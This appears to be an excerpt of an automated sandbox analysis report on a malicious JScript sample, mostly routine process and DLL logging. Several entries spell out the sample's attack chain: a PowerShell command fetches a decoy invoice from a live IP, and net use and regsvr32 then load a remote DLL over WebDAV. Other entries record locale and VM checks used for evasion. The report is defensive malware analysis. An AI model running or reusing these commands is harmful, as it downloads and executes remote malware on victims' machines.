Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9018.js.csv");ITextStream.WriteLine(" entry:8321 f:vduhs");ITextStream.WriteLine(" exec:2 f:vduhs");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4230			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4870			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7692	Thread sleep count: 4230 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7692	Thread sleep count: 4870 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7760	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7672	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7796	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7980	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4364	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wscript.exe, 00000000.00000002.1692725531.00000237DEC48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: net.exe, 00000006.00000002.1750784686.0000024F32228000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000006.00000003.1750339620.0000024F3228A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1751127789.0000024F3228A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1746240373.0000024F3228A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2979475760.00000161FCA5B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000008.00000002.2978307031.00000161F742B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
